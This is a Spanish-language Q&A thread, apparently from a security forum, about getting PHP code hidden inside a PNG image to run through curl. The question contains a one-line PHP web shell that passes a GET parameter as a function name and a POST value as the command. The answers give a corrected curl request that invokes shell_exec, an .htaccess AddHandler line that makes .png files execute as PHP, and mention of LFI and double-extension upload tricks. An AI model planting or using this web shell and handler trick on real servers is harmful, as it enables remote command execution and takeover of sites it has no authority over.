Ejecutar PHP dentro de PNG usando curl

0

Estoy haciendo algunas pruebas para ejecutar PHP remoto a través de PHP escondido dentro de un archivo PNG. Tengo un archivo PNG en mi servidor con el siguiente código PHP almacenado dentro del archivo PNG.

<?=$_GET[0]($_POST[1]);?> 

La idea es que pase una solicitud GET con la función shell_exec OR exec, seguida de los datos POST 1 = el comando a ejecutar.

He estado intentando usar el rizo sin éxito. Sigo recibiendo HTTP / 1.1 404 no encontrado.

curl http://192.168.0.6/phppng.png?0=shell_exec' -i -d "1=id"

¿Alguna idea sobre qué puedo usar para enviar la solicitud GET e incluir los datos POST?

    
pregunta Ankh2054 11.05.2016 - 10:43
fuente

2 respuestas

3

En primer lugar, asegúrese de que su servidor web sepa que tiene que interpretar el archivo PNG como PHP. Debe agregar esto a su archivo .htaccess .

AddHandler application/x-httpd-php .png

o

AddHandler application/x-httpd-php5 .png

De lo contrario, no ejecutará el código PHP.

Segundo, hay un error de sintaxis en tu solicitud de curvatura. Te estás perdiendo una cita.

Prueba esto:

curl -i -X POST "http://127.0.0.1/phppng.png?0=shell_exec" -d "1=id"
    
respondido por el Mukarram Khalid 11.05.2016 - 10:55
fuente
1

Los archivos que terminan en .png no ejecutarán el código php incluso si contienen código php. Sin embargo, puede ejecutar este código a través de un archivo LFI o cargando un archivo .htaccess que agregará un controlador php para .png o en el caso de Apache podría usar una extensión de archivo doble, es decir: phppng.php.phppng .

    
respondido por el wireghoul 11.05.2016 - 10:57
fuente

Lea otras preguntas en las etiquetas